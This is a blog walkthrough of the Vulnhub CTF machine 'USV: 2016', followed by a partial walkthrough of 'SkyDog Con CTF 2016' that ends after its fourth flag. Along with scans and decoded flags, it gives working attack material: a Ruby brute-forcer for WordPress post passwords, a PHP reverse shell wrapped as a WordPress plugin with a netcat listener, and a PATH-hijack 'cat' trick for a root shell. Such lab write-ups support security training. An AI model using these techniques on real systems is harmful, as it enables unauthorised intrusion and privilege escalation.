USV: 2016 (v1.0.1) – Walkthrough

This segment of my Vulnhub series covers my walkthrough for the “USV: 2016 (v1.0.1)” game. There are 7 flags to discover in the form of: Country_name Flag: [md5 hash].

Prephase

Finding Host

As always I started out finding the address of the CTF game:

$ sudo nmap -sn 192.168.110.0/24

In my case, the IP was

IP
192.168.110.10

Service Scan

Next I uncovered which services the game offered:

sudo nmap -p1-65535 -A -T4 -sS 192.168.110.10

Running this service scan returned way too many open ports. Too many to reflect a real server. A list of each port for reference can be found at the end of this walkthrough. Skimming through the ports revealed something interesting:

Port Service Product Hostname
8100 smtp OpenSMTPD FUZZ_HERE
8101 smtp Hotmail Popper hotmail to smtp gateway FUZZ_HERE

Why did the smtp service state “FUZZ_HERE”? After googling it I found a reference to portspoofing. Nicely done, the author of this game added some troll tech for me to make things harder!

Finding alive ports

With so many ports available I needed to find a way to narrow the scope. I combated the port spoofing by simply doing a Nmap connect scan:

$ sudo nmap -p1-65535 -A -T5 -sT 192.168.110.10
Port Service Product Hostname
22 ssh OpenSSH
80 http Apache httpd
3129 http-proxy Squid http proxy
3306 mysql MariaDB
21211 ftp vsftpd SevenKingdoms

Apparently “SevenKingdoms” hostname is a reference to Game of Thrones.

Flag 1

Having four ports available, where should I begin? My gut feeling told me SSH.

usv-ssh-banner

The welcome banner contained an ASCII dragon. I noticed the string at the bottom, what could that be? By looking deeper into the banner I saw some letters that seemed misplaced. Together they spelt out A-E-S-E-C-B. I had to deal with the AES ECB encryption here.

In order to crack this I headed over to AESEncryption.net to try my luck. For this to be fruitful I needed a Key. Looking further into the image I saw that tail part of the dragon looked out of place and I decided to use that as the Key.

The settings I used on the AESEncryption.net site was

AES string:
wDOW0gW/QssEtq5Y3nHX4XlbH/Dnz27qHFhHVpMulJSyDCvex++YCd42tx7HKGgB
Key: xxxxx0000000xxxxxx
Bits: 128-bit

These settings decrypted AES string to

Decoded flag
Italy Flag: 0047449b33fbae830d833721edaef6f1

Flag 2

I was a little bit short of information to attack SSH at that moment. Moving on I tried my luck toying with the web server. Accessing it on port 80 yielded no access:

usv-web-no-access

Most CTF’s contain information in the weirdest places. I made sure to check what’s available. At first I looked at the HTML source – nothing interesting there. Perhaps there were something hidden in the HTTP response headers from server? Here I’ve tried if SevenKingdoms path worked:

usv-http-headers-xss-protection

The X-XSS-Protection header seemed to contain a Base64 string

Q3JvYXRpYSBGbGFnOiAwYzMyNjc4NDIx
NDM5OGFlYjc1MDQ0ZTljZDRjMGViYg==

Decoding this string yielded

Decoded
Croatia Flag: 0c326784214398aeb75044e9cd4c0ebb

Flag 3

Related to web I saw the server running Squid Proxy on port 3129. I decided to see if I could access the web server through it! I used the FoxyProxy Firefox plugin for this and here’s the configuration I used:

What Value
Proxy IP 192.168.110.10
Proxy Port 3129
URL pattern *192.168.110.10/*

Your settings may vary. Accessing the site presented me with this landing page:

usv-winter-is-coming-banner

Inspecting both the HTML source and the HTTP response from web server yield nothing of interest. Perhaps I could move further into the page stack by fuzzing it? For this operation I used the fuzzer in OWASP ZAP.

Setting up OWASP ZAP

Step one: setting up proxy

The first thing I did was to set OWASP ZAP up to use the proxy. It can be done from Tools->Options->Connection dialog:

usv-owasp-zap-add-proxy

Step two: establish baseline

Once configured I launched a baseline scan of target by entering the target address and clicked Attack:

usv-owasp-zap-baseline-scan

Step three: setting up fuzzer

On the right side of OWASP ZAP I right clicked on target and selected Attack->Fuzz…

usv-owasp-zap-context-menu-fuzzer

Which opened a dialog were I:

  1. Marked were to set fuzzing parameter. I did it at the end of the target address as indicated by the colored part next after the final slash in the screenshot below
  2. Clicked on Add, then once more on the Add button in the following dialog box
  3. Selected File Fuzzers from the dropdown and selected dirbuster
  4. When everything was accepted and confirmed, clicked on the Processors … button and just accepted the dialog.
  5. Clicked on Start Fuzzer at the dialog from pt. 1

The following screenshots might cast a light on the process:

usv-owasp-zap-configure-fuzzer

Adding processor (note: I had to click on the Generate Preview button for the fuzzer to work).

usv-owasp-zap-add-processor

After a somewhat long run the fuzzer discovered a hidden path named blog. Visiting it I landed on this page:

uvs-blog-landing-page

Analyzing blog

By looking at the blog landing page I found two things of interest:

  • A picture of Hodor stating: I have a message for you!
  • A protected blog post The secret Chapter

First thing first – Hodor! Looking at the path for the picture itself I saw it is /blog/hodor/hodor.jpg. Navigating one step back in Firefox I was with a page stating Hodor has a message for you! which itself is a link to download Zip file (hodor.zip).

Downloading and extracting the Zip file revealed a file called hodor. To find out what kind of file it is, I ran the file command on it:

$ file hodor

This is a JPEG file without the file extension!

File information
hodor: JPEG image data, JFIF standard 1.01, resolution (DPI), density 96×96, segment length 16, baseline, precision 8, 480×360, frames 3

Renaming it to JPG gave me a new flag:

hodor

String was Base64 encoded:

RAW
UG9ydHVnYWwgRmxhZzogYTI2NjNiMjMw
NDVkZTU2Yzd1OTZhNDA2NDI5ZjczM2Y=

Decoded
Portugal Flag: a2663b23045de56c7u96a406429f733f

Flag 4

Remember that protected blog post from Flag 3? It is time to play with it! First I created a dictionary of words from the blog:

$ cewl --proxy_host 192.168.110.10 --proxy_port 3129 192.168.110.10/blog --write got.dict

I tried to put this dictionary to use with WFuzz, OWASP ZAP and BurpSuite. Somehow everyone of them crashed. So I wrote my own makeshift Fuzzer to crack this password:

require "net/http"
require "uri"
require "base64"
require "rainbow/ext/string"

target_url = URI.parse(ARGV[0])
fuzzfile = ARGV[1]
blogpage = "http://192.168.110.10/blog/index.php/2016/10/16/the-secret-chapter/"

ENV['http_proxy'] = 'http://192.168.110.10:3129'

counter = 0
prevsize = 0

File.open(fuzzfile).each do | fuzzvalue |
    fuzzvalue = fuzzvalue.delete("\n").strip

    cookieheader = { "Host" => "192.168.110.10", "Referer" => blogpage, "Cookie" => "wordpress_test_cookie=WP+Cookie+check; wp-postpass_af36d351f0a2a7010d4334f6d3418ed2=%24P%24BliNI6VL3%2F5BjOcRk5x28%2FphGmIAKO1" }

    cookierequest = Net::HTTP::Post.new("#{target_url.path}?#{target_url.query}", cookieheader)
    cookierequest.set_form_data({
        "post_password" => fuzzvalue,
        "Submit" => "Enter"
    })

    cookiehttp = Net::HTTP.new(target_url.host, target_url.port)
    cookieresponse = cookiehttp.request(cookierequest)

    bloguri = URI.parse(cookieresponse["Location"])
    blogreq = Net::HTTP::Get.new(bloguri.request_uri)
    blogcookiedata = cookieresponse["Set-Cookie"].split("; ")
    blogcookie = "#{blogcookiedata[0]};#{blogcookiedata[1].split(",")[1]}"

    blogreq.add_field("Cookie", blogcookie)
    bloghttp = Net::HTTP.new(bloguri.host, bloguri.port)
    blogresponse = bloghttp.request(blogreq)

    counter += 1

    if blogresponse.body.length != prevsize && prevsize > 0
        puts("#{counter} - Size: #{blogresponse.body.length} Fuzz value: #{fuzzvalue}".color(:green))
        break
    else
        puts("#{counter} - Size: #{blogresponse.body.length} Fuzz value: #{fuzzvalue}")
        prevsize = blogresponse.body.length
    end
end

Usage (after installing the Rainbow gem):

$ ruby wordpressfuzzer.rb http://192.168.110.10/blog/wp-login.php?action=postpass ../output/got.dict

The password form posts to wp-logging.php so I attacked that directly. Eventually my script coughed up the password Westerosi:

usv-cracking-wordpress-blogpost

Once entered in the password form I saw:

usv-the-secret-chapter

The flag!

String was Base64 encoded:

RAW
UGFyYWd1YXkgRmxhZzogNDc2MWI2NWYy
MDA1MzY3NDY1N2M3ZTYxODY2MjhhMjk=

Decoded
Paraguay Flag: 4761b65f20053674657c7e6186628a29

Flag 5

The password protected post didn’t just contain the fourth flag, but also some important hints:

  • The mother_of_dragons has a password which is in front of your eyes
  • She uses the Field Training Preparation for her army.

From the hints given I deducted that:

  • I was to target FTP
  • Username is mother_of_dragon
  • Password is “in front of your eyes” (most likely)

I already knew FTP ran on port 21211:

usv-ftp-operation

What I did here is that I logged in hitting jackpot with the password, then listed the content and downloaded the two files found:

File Content
.note.txt I keep a hidden note for myself
readme.txt I always forgot passwords, so for my blog account I used my children`s name. -= Daenerys =-

Researching into Danerys character on Game of Thrones Wiki I saw that she had one stillborn child called Rhaego. The hint from .note.txt mentions children’s (plural). Rhaego hint is a bust. However according to various sources on the Net that her dragons would be the only children she will have. This sounds more like it and the dragons are named:

  • Drogon
  • Viserion
  • Rhaegal

The challenge here was s to find the password format which I had to use for attacking the /blog/wp-admin/ login page (I already knew the username). The most obvious route seemed to be to just go ahead and concatenate the names. After some trial and error keeping records in the Sublime editor I finally landed on the password RhaegalDrogonViserion.

usv-wordpress-logged-in

Browsing around this WordPress installation I stumbled upon the flag hidden in her profile:

usv-daenarys-targaryen-wordpress-profile

String was Base64 encoded:

RAW
VGhhaWxhbmQgRmxhZzogNmFkNzk2NWQx
ZTA1Y2E5OGIzZWZjNzZkYmY5ZmQ3MzM=

Decoded
Thailand Flag: 6ad7965d1e05ca98b3efc76dbf9fd733

Flag 6

At this time I realized I had to breach WordPress to move on. A reverse shell seemed fit for this. So I copied my favorite PHP reverse shell:

$ cp /usr/share/webshells/php/php-reverse-shell.php shelly.php

First I changed the shell by inserting my IP which the shell should connect back to together with the port (7770). Next I added WordPress plugin wrapper around the shell code:

<?php

/*
Plugin Name: Shelly
Plugin URI: http://localhost  
Description: Bla Bla Bla  
Author: Pingmoose
Version: 1.0.1  
Author URI: http://localhost  
*/

COPY CONTENTS OF shelly.php HERE

?>

Finally, zipped it

$ zip shelly.zip shelly.php

Then I added the plugin to WordPress by simply installing it. I made sure not to activate the plugin before I had my listener up!

Setting up listener:

$ nc -lvp 7770

Activated the plugin to create connection:

usv-wordpress-installed-plugins

Reverse connection:

usv-reverse-shell

The target machine seemed a bit unusual. So I dug up what kind of Linux distribution it was:

sh-4.4$ cat /etc/os-release

Which revealed the following

NAME="Arch Linux"
ID=arch
PRETTY_NAME="Arch Linux"
ANSI_COLOR="0;36"
HOME_URL="https://www.archlinux.org/"
SUPPORT_URL="https://bbs.archlinux.org/"
BUG_REPORT_URL="https://bugs.archlinux.org/"

Since this target is based upon Arch Linux it means that web content are served from the /srv/http folder

usv-shell-flagLooking at the content I found a file called reward_flag.txt containing the flag:

String was Base64 encoded:

RAW
TW9uZ29saWEgRmxhZzogNmI0OWMxM2Nj
Y2Q5MTk0MGYwOWQ3OWUxNDIxMDgzOTQ=

Decoded
Mongolia Flag: 6b49c13cccd91940f09d79e142108394

Flag 7

There was another entity in the folder I just found. I examined the file winterfell_messenger by running the strings command on it:

usv-winterfell-messenger-strings

Further investigation:

  • At some point this messenger reads from the /root/message.txt file
  • Running the messenger revealed message.txt file is nowhere to be found
  • Messenger is owned by root:root
  • Messenger run cat not using absolute path. This is likely the best exploitation point

in order to exploit cat I made my own version of it that spawned a Bash shell. Cat command was then added to PATH in order to make winterfell_messenger pick it up:

sh-4.4$ cd /tmp
sh-4.4$ touch cat
sh-4.4$ echo "/usr/bin/bash" > cat
sh-4.4$ chmod a+x cat
sh-4.4$ export PATH=/tmp:$PATH
sh-4.4$ cd /srv/http
sh-4.4$ ./winterfell_messenger

Winterfell_messenger picked it up and it gave me a ROOT shell:

usv-root-shell

Listed out the content of /root revealed the hidden file .flag.txt which contained the last flag:

usv-last-flag

String was Base64 encoded:

RAW
U29tYWxpYSBGbGFnOiA0YTY0YTU3NWJl
ODBmOGZmYWIyNmIwNmE5NThiY2YzNA==

Decoded
Somalia Flag: 4a64a575be80f8ffab26b06a958bcf34

Contact

If you enjoyed this walkthrough, please share and contact me on Twitter (@reedphish)!

Appendix

Appendix 1: Service scan

For future reference, the port spoofer responded with these ports and services:

Port Service Product Hostname
1 tcpmux
22 ssh OpenSSH
60 unknown
80 http Apache httpd
81 smtp-proxy Arkoon smtp proxy
808 ccproxy-http
1024 kdm
1025 NFS-or-IIS
1026 LSA-or-nterm
1027 IIS
1028 unknown
1029 ms-lsa
1030 iad1
1031 iad2
1032 iad3
1033 netinfo
1034 zincite-a
1035 multidropper
1036 nsstp
1037 ams
1038 mtqp
1039 sbl
1040 netsaint
1041 danf-ak2
1042 afrog
1043 boinc
1044 dcutility
1045 fpitp
1046 wfremotertm
1047 neod1
1048 neod2
1049 td-postman
1050 java-or-OTGfileshare
1051 optima-vnet
1052 ddt
3129 http-proxy Squid http proxy
3306 mysql MariaDB
4444 ftp Synology CubeStation ftpd a
8100 smtp OpenSMTPD FUZZ_HERE
8101 smtp Hotmail Popper hotmail to smtp gateway FUZZ_HERE
8102 kz-migr
8103 unknown
8104 unknown
10024 unknown
10025 ftp ALFTP
10026 unknown
10027 unknown
10028 ftp
10029 unknown
10030 http Oracle 9iAS httpd
10031 http Allegro RomPager
10032 http Palo Alto PanWeb httpd
10033 unknown
10034 pop3 Dovecot pop3d
10035 soap Fujitsu ServerView Remote Connector soap
10036 http Oracle Application Server 10g httpd
10037 http Agranat-EmWeb
10038 telnet OpenVMS telnetd W
10039 ssh
10040 imap DeskNow imapd
10041 unknown
10042 http RapidLogic httpd
10043 telnet RemotelyAnywhere telnetd
10044 backdoor Subseven backdoor
10045 unknown
10046 imap Arvixe imapd
10047 http JavaHttpServer
10048 http cloudflare-nginx
10049 netstat
10050 http eHTTP
10051 zabbix-trapper
10052 http MiniServ
10053 ident Minidentd or fakeidentd
10054 unknown
10055 http Omniture DC J
10056 unknown
10057 http swcd httpd
10058 ftp TYPSoft ftpd WZqRZFcDN
10059 telnet BusyBox telnetd
10060 unknown
10061 finger ArGoSoft Mail fingerd
10062 http uTorrent WebUI
10063 http Boa httpd
10064 unknown
10065 unknown
10066 unknown
10067 http TiVo To Go httpd
10068 openfpc OpenFPC packet capture
10069 unknown
10070 vnc-http TightVNC
10071 unknown
10072 wifi-mouse WiFi Mouse
10073 telnet Hauppauge MediaMVP telnetd
10074 rtsp Microsoft Windows Media Services
10075 http Xen Cloud Platform httpd
10076 telnet Actiontec GT704-WGB WAP telnetd
10077 http David WebBox httpd
10078 unknown
10079 smtp MDaemon smtpd K-jBp_N
10080 amanda
10081 famdc
10082 james-admin JAMES Remote Admin
10083 pop3 Microsoft Exchange pop3d
10084 gopher
10085 telnet BusyBox telnetd
10086 unknown
10087 unknown
10088 smtp qpsmtpd smtpd eeTmcC-
10089 http RTXCweb
10090 http JVC V.Networks video httpd
10091 unknown
10092 efi-workstation EFI Fiery Command WorkStation
10093 landesk-rc LANDesk remote management
10094 unknown
10095 unknown
10096 ssh Bitvise WinSSHD
10097 http TiVo To Go httpd
10098 upnp NT httpd
10099 http Apple TV http config
10100 itap-ddtp
10101 http PLT Scheme httpd
10102 ftp Dreambox ftpd
10103 ssh
10104 http MiniShare http interface
10105 http Boa httpd
10106 http Microsoft IIS WebDAV
10107 bctp-server
10108 ident widentd
10109 http-proxy Websense http proxy
10110 nmea-0183
10111 http DTA310 VoIP router http config
10112 unknown
10113 ftp Bulletproof ftp server
10114 netiq-qcheck
10115 ftp Welcome
10116 netiq-voipa
10117 ftp
10118 gpsd gpsd
10119 ftp Humax iHDR-5050C DVR ftpd
10120 upnp Orb Media Server UPnP
10121 unknown
10122 http-proxy Cisco ZmffeM http proxy
10123 http Vernier Networks Access Manager http config
10124 ssh OpenSSH
10125 http Glucose WeatherPop Advanced httpd
10126 http Cisco WAPw WAP http admin
10127 sip
10128 bmc-perf-sd
10129 nntp sn nntpd
10130 telnet Nortel BayStack 470-24T switch telnetd
10131 http Sockso personal music player httpd
10132 unknown
10133 netdevil Net-Devil backdoor
10134 http Sun GlassFish Open Source Edition
10135 pop3-proxy Symantec PGP Universal Server pop3 proxy
10136 http OmniHTTPd
10137 pop3 UW Imap pop3d QEK
10138 ssh meow SSH ROOTKIT
10139 ftp Cisco TelePresence MCU EnmW videoconferencing bridge
10140 unknown
10141 unknown
10142 http Ubicom httpd
10143 unknown
10144 unknown
10145 http HP Client Automation httpd
10146 unknown
10147 unknown
10148 unknown
10149 telnet SpeedStream H…o
10150 bitdefender-ctrl Bitdefender Remote Admin Console
10151 http Dorgem webcam server http
10152 backdoor PsychoPhobia backdoor
10153 unknown
10154 unknown
10155 unknown
10156 unknown
10157 http Cisco ACS httpd
10158 ftp Topfield HDPVR satellite decoder ftpd
10159 unknown
10160 telnet
10161 http Pioneer PRO-141 monitor http config
10162 snmptls-trap
10163 http Citrix Access Gateway firewall http config
10164 sourceviewerserver NetBeans Source Viewer Service
10165 vnc-http TightVNC
10166 rtsp Mango DSP AVS Raven-M video server rtspd
10167 http Aethra V3000 VoIP adapter http config
10168 http lighttpd
10169 http Oracle Rapid Install httpd
10170 telnet
10171 nntp Freenet Message System nntpd
10172 http ATR httpd
10173 imap IMAP4rev1
10174 telnet
10175 unknown
10176 unknown
10177 http-proxy Blue Coat ProxySG firewall
10178 telnet HP Tandem NonStop telnetd
10179 http Simple DNS Plus httpd
10180 telnet Windows CE telnetd pqp
10181 http AEWS
10182
10183 http TUX httpd
10184 unknown
10185 pop3 InterMail pop3d
10186 unknown
10187 ftp Titan ftpd
10188 http Thomson SpeedTouch 536i router http config
10189 unknown
10190 http-proxy DeleGate proxy
10191 unknown
10192 telnet
10193 activefax ActFax Communication ActiveFax
10194 g6-remote G6 ftpd remote admin
10195 unknown
10196 rtsp Microsoft Windows Media Services
10197 http Hummingbird Document Manager httpd
10198 telnet Huawei telnetd
10199 synchroedit SynchroEdit request server Ej
10200 http Pioneer PRO-141 monitor http config
10201 ftp
10202 unknown
10203 http GoAhead WebServer
10204 http Azureus Bittorrent tracker httpd
10205 unknown
10206 http WhatsUp Gold httpd
10207 unknown
10208 unknown
10209 unknown
10210 irc UnrealIRCd
10211 http Xen Cloud Platform httpd
10212 rtsp RealMedia EncoderServer
10213 unknown
10214 unknown
10215 ftp Kyocera xB printer ftpd
10216 http Agranat-EmWeb
10217 telnet
10218 http Sony PL LocationFree TV http interface
10219 unknown
10220 upnp Linksys WVC54GC webcam UPnP
10221 unknown
10222 pop3 Microsoft Exchange pop3d
10223 pop3-proxy Trend Micro IMSS virus scanning POP3 proxy IMmQPgdSv
10224 unknown
10225 http Polycom VVX VoIP phone http config
10226 http Linksys WRT300N WAP http config
10227 imap Novell NetMail imapd BaJ
10228 unknown
10229 http Acme.Serve
10230 ftp Kyocera Mita KM-NCvxaoM printer ftpd
10231 http ZyXEL ZyWALL ycgRmuv http config
10232 compuware-lm Compuware Distributed License Management
10233 http Phoenix Labs PeerGuardian httpd
10234 http Barracuda Embedded Web Server
10235 unknown
10236 irc
10237 unknown
10238 upnp MiniDLNA
10239 unknown
10240 klogin Encrypted Kerberized rlogin
10241 http Icecast streaming media server
10242 http Konica Minolta bizhub 423 printer http config
10243 smtp Hornbill Supportworks smtpd cZr
10244 unknown
10245 smtp I2P smtpd q
10246 ttscp Epos text-to-speech control protocol
10247 bittorrent-tracker BitTornado tracker httpd
10248 http uClinux-httpd
10249 http Netscape Enterprise httpd
10250 http Netgear FVLfRoggKaz router http config
10251 unknown
10252 apollo-relay
10253 rtsp Apple QuickTime Streaming Server
10254 telnet E-Tech PSU101 print server telnetd
10255 jabber jabberd instant messaging server
10256 sip T-Com Speedport
10257 pop3pw poppassd
10258 unknown
10259 telnet
10260 axis-wimp-port
10261 http Borland VisiBroker CORBA httpd
10262 ident CacheFlow identd
10263 irc Hybrid ircd
10264 unknown
10265 net-rpc OpenERP NET-RPC
10266 pop3 Eudora Worldmail pop3d piO_fzre
10267 ftp Kiss DP-558 PVR ftpd
10268 telnet Netcomm V300 VoIP adapter telnetd
10269 vnc-http TightVNC
10270 http-proxy Integard filtering http proxy management interface
10271 telnet Ricoh maintenance telnetd
10272 http BNBT Bittorrent Tracker
10273 unknown
10274 http thttpd-alphanetworks
10275 http OCaml httpd
10276 unknown
10277 ftp Sasser worm minimal ftpd
10278 ftp CVX ftpd
10279 domain ISC BIND
10280 http Talk Talk YouView set-top box http config
10281 unknown
10282 smtp-proxy WatchGuard smtp proxy
10283 telnet BusyBox telnetd
10284 ftp bsd-ftpd YG
10285 pop3 qpopper pop3d
10286 http webcamXP PRO http config
10287 telnet foobar2000 remote control telnetd
10288 blocks
10289 redis Redis key-value store
10290 unknown
10291 telnet
10292 telnet SpeedStream …..K. |
10293 unknown
10294 telnet IBM Netcool/Impact telnetd IAtLA
10295 unknown
10296 unknown
10297 imap SCO imapd bRz
10298 telnet BreezeCOM telnetd
10299 unknown
10300 unknown
10301 unknown
10302 ssh
10303 unknown
10304 http Enigma2 Dreambox http config
10305 ident FTPRush FTP client identd
10306 unknown
10307 rtsp Axis 207W Webcam rtspd
10308
10309 telnet F5 BIG-IP load balancer telnetd
10310 http CompaqHTTPServer
10311 unknown
10312 unknown
10313 telnet Konica Minolta Magicolor 2300 DL printer telnetd
10314 telnet Stratus ftServer VTM telnetd
10315 http Oracle Application Server 11g httpd
10316 irc
10317 http Novell-HTTP-Server
10318 http JVC V.Networks video httpd
10319 unknown
10320 unknown
10321 cosir
10322 http Sun GlassFish
10323 telnet Samsung PBX telnetd
10324 http Cisco WAPg WAP http admin
10325 unknown
10326 unknown
10327 unknown
10328 http-proxy CacheFlow http proxy
10329 http BusyBox http
10330 unknown
10331 http GoAhead WebServer
10332 ftp Synology Disk Station DS–SjXjeAgE NAS ftpd
10333 http Zimbra admin http config
10334 unknown
10335 http Mbedthis-Appweb
10336 fiesta-online Fiesta Online game server
10337 http Bukkit JSONAPI httpd for Minecraft game server
10338 http Juniper Networks Secure Access SSL VPN http config
10339 nut Network UPS Tools upsd
10340 ftp Internet Rex ftpd
10341 sip AVM FRITZ!Box
10342 sip-proxy SIP Router
10343 http i3 micro or Linksys SPA400 VoIP gateway http config
10344 pblocald Symark Power Broker pblocald
10345 klogin Encrypted Kerberized rlogin
10346 unknown
10347 telnet
10348 telnet
10349 http oVirt
10350 telnet ZyXEL QjxFV broadband router telnetd
10351 telnet 3Com Linkswitch telnetd
10352 unknown
10353 unknown
10354 http Seahorse http keyserver
10355 ftp A+V Link NVS-4000 surveillance system ftpd
10356 finger Lexmark T642 printer fingerd
10357 telnet Alteon Networks ACEDirector switch telnetd
10358 unknown
10359 ftp Titan ftpd
10360 unknown
10361 http Java 9 http.transport.HttpServerConnection httpd
10362 unknown
10363 unknown
10364 http OpenWrt BusyBox httpd
10365 unknown
10366 unknown
10367 irc UnrealIRCd
10368 smtp Postfix smtpd tWi
10369 unknown
10370 http Apache Tomcat
10371 unknown
10372 ftp
10373
10374 unknown
10375 pbs-maui PBS/Maui Roll
10376 ftp NetSilicon DPO-7300 ftpd
10377 unknown
10378 unknown
10379 http Micro-Web
10380 unknown
10381 irc-proxy psyBNC
10382 http Indy httpd
10383 unknown
10384 telnet
10385 ftp Plan 9 ftpd
10386 unknown
10387 ssh MikroTik RouterOS sshd
10388 unknown
10389 irc Hybrid ircd
10390 unknown
10391 unknown
10392 unknown
10393 unknown
10394 imap Cyrus imapd EEW
10395 smtp Koto Internet Services smtpd IN
10396 ftp IronPort mail appliance ftpd qa+ZSbuXM
10397 unknown
10398 unknown
10399 telnet
10400 unknown
10401 unknown
10402 telnet
10403 unknown
10404 securepath HP StorageWorks SecurePath
10405 http Axigen webmail httpd
10406 unknown
10407 unknown
10408 unknown
10409 unknown
10410 http IP_SHARER WEB
10411 http ShadowBot
10412 unknown
10413 http XBMC http interface
10414 telnet Dell iDRAC6 telnetd
10415 unknown
10416 telnet DirecWay satellite router telnetd
10417 unknown
10418 inetd inetd
10419 telnet Cisco SG300-28p switch telnetd
10420 jsonrpc XBMC JSON-RPC
10421 http QNAP TS-419P+ NAS http config
10422 http HBHTTP
10423 unknown
10424 unknown
10425 unknown
10426 hp-problemdiagnostics HP Problem Diagnostics wVWDnpB
10427 telnet
10428 unknown
10429 http Tomato WAP firmware httpd
10430 unknown
10431
10432 telnet
10433 smtp-proxy ESET NOD32 anti-virus smtp proxy gPRHqDyVa
10434 unknown
10435 H.323-gatekeeper GNU Gatekeeper
10436 nntp nntp//rss nntpd
10437 unknown
10438 unknown
10439 http Cherokee httpd
10440 netasq-admin Netasq firewall admin
10441 nntp Typhoon nntpd
10442 unknown
10443 http WMI
10444 cisco-lm Cisco CallManager license manager
10445 istat istatd server for iStat iPhone app
10446 smtp-proxy Smart-Soft spam filtering smtp-proxy
10447 rtsp Sanyo VCC-HD2300 webcam rtspd
10448 smtp PSCS VPOP3 mail server nBDWX
10449 http WindWeb
10450 http 3Com OfficeConnect wireless router http config
10451 http BaseHTTPServer
10452 http Surgemail webmail
10453 smtp Web.de smtpd S+
10454 unknown
10455 unknown
10456 unknown
10457 unknown
10458 http Snom _s VoIP phone http config
10459 http Linksys SRW224 gigabit switch http config
10460 h2 H2 database
10461 http cloudflare-nginx
10462 http Java 4536 http.transport.HttpServerConnection httpd
10463 unknown
10464 http Panasonic Ws webcam http config
10465 unknown
10466 unknown
10467 ovhcheckout OVH OvhCheckOut CBe
10468 http Novell NetWare enterprise web server
10469 unknown
10470 unknown
10471 telnet D-Link DSL-2640B ADSL router telnetd
10472 telnet D-Link DSL router telnetd
10473 ftp ABB Robotics ftpd
10474 unknown
10475 unknown
10476 smtp Trend Micro ESMTP
10477 http Altavista Enterprise Search httpd
10478 ftp Merak ftpd
10479 ssh AudioCodes MP-124 SIP gateway sshd
10480 unknown
10481 unknown
10482 pop3 Code-Crafters Ability Mail Server pop3d Vt
10483 unknown
10484 ftp IBM NPS 540+/542+ print server ftpd
10485 mpd Music Player Daemon
10486 http-proxy Blue Coat ProxySG firewall
10487 smtp
10488 telnet Cayman Gatorbox router telnetd
10489 http Gordian httpd
10490 tcpwrapped
10491 cddbp freedb cddbp server KTOKPYLd
10492 http micro_httpd
10493 pop3 DynFX pop3d Yu-RPv
10494 http Sun GlassFish
10495 unknown
10496 telnet
10497 unknown
10498 unknown
10499 unknown
10500 ftp OKI BVfqDLijD VoIP adapter ftpd JrbTlXhd
10501 nsclient NSClient++
10502 unknown
10503 http Agranat-EmWeb
10504 http Zimbra http config
10505 http TRENDnet TV-IP110W webcam display httpd
10506 ftp Verteiltes Printen und Plotten ftpd
10507 irc-proxy dirkproxy
10508 http Mono-HTTPAPI
10509 netstat
10510 unknown
10511 telnet Cisco 1601R router telnetd
10512 unknown
10513 domain ISC BIND
10514 http OpenPegasus CIMServer
10515 http Ninja Blocks home automation httpd
10516 xns Relax XBOX file server
10517 http chat.php.spb.ru chat server httpd
10518 ftp wzdftpd
10519 whois rwhois LuYSinggu
10520 ssh FortiSSH
21211 ftp vsftpd SevenKingdoms

SkyDog Con CTF 2016 – Catch Me If You Can – Walkthrough

This segment of my Vulnhub series covers my walkthrough for the “SkyDog Con CTF 2016 – Catch Me If You Can” game. There are eight flags to hunt down. What is interesting with this game is that you are given eight hints upfront, one for each flag.

Hints

As said, there are eight flags to hunt down. All in the form of flag{MD5 Hash}. Starting out there are one hint for each flag available from the start:

  • Flag 1: Don’t go Home Frank! There’s a Hex on Your House.
  • Flag 2: Obscurity or Security?
  • Flag 3: Be Careful Agent, Frank Has Been Known to Intercept Traffic Our Traffic.
  • Flag 4: A Good Agent is Hard to Find.
  • Flag 5: The Devil is in the Details – Or is it Dialogue? Either Way, if it’s Simple, Guessable, or Personal it Goes Against Best Practices
  • Flag 6: Where in the World is Frank?
  • Flag 7: Frank Was Caught on Camera Cashing Checks and Yelling – I’m The Fastest Man Alive!
  • Flag 8: Franks Lost His Mind or Maybe it’s His Memory. He’s Locked Himself Inside the Building. Find the Code to Unlock the Door Before He Gets Himself Killed!

Host discovery

Image is setup to use DHCP. I start out performing a network scan:

$ sudo nmap -sn 192.168.110.0/24

Target IP is: 192.168.110.9 (your may vary).

Service San

Moving on detecting live services on target:

sudo nmap -p1-65535 -A -T4 -sS 192.168.110.9
sdc-service-scan
Service scan

Services found:

Port State Service
22 Closed ssh
80 Open Apache
443 Open Apache
22222 Open OpenSSH

Flag 1

Hint:Don’t go Home Frank! There’s a Hex on Your House.

What could the hint mean? Given I have little information to go by I decide to look at the ports. But which one would Frank call home? As a server guy, my first thought was SSH because of home directories. But then again, a homepage is technically “home” too. Better look at the homepage first.

SDC - Homepage.png
Start page

The homepage is nice looking. Simple and clean. Inspecting the HTML source I found a commented out Javascript reference:

sdc-html5js
Interesting script

The first line of that script contain a suspicious looking comment:

sdc-hex-in-js
HEX string hidden in comment

This must be the hex from the hint:

666c61677b3763303133323037306130656637
3164353432363633653964633166356465657d

Flag decoded

Hex decoded using “Hex to ASCII text converter“.

What Value
Hex decoded flag{7c0132070a0ef71d542663e9dc1f5dee}
MD5 decoded nmap

Flag 2

Hint:Obscurity or Security?” and “nmap

I’ve already done a service scan which uncovered SSH running on a custom port. Connecting to port 22222 gives me the second flag:

$ ssh frank@192.168.110.9 -p 22222
sdc-flag-2
SSH flag

Flag decoded

What Value
Flag Flag{53c82eba31f6d416f331de9162ebe997}
MD5 decoded encrypted

Flag 3

Hint:Be Careful Agent, Frank Has Been Known to Intercept Traffic Our Traffic.” and “encrypted

This smell like a “man in the middle attack”. Heading over to the website looking at the SSL certificate:

SDC - Flag 3.png
SSL flag

The third flag was hidden in the SSL/TLS certificate.

Flag decoded

What Value
Flag flag3{f82366a9ddc064585d54e3f78bde3221}
MD5 decoded personnel

Flag 4

Hint:A Good Agent is Hard to Find.” and “personnel

Looks like a reference to a path on the web server. Visiting “/personnel” path on web server yields:

ACCESS DENIED!!! You Do Not Appear To Be Coming From An FBI Workstation. Preparing Interrogation Room 1. Car Batteries Charging….

Maybe there’s a hint in the Javascript where I found the first flag. Putting it through DirtyMarkup reveals a reference to FBI agents.

sdc-agent-comment-in-javascript
Interesting comment

A quick Google search for IE 4 User-Agent brought me to this site where I found the very much usable User-Agent String

Mozilla/4.0 (compatible; MSIE 4.0; Windows 98)

Adding add-on “User Agent Switcher” to Firefox and using the Agent-String, it lead me to this page:

sdc-fbi-portal
FBI portal

The fourth flag was clearly visible on the landing page:

sdc-flag-4
Flag hidden in plain sight

Flag decoded

What Value
Flag flag{14e10d570047667f904261e6d08f520f}
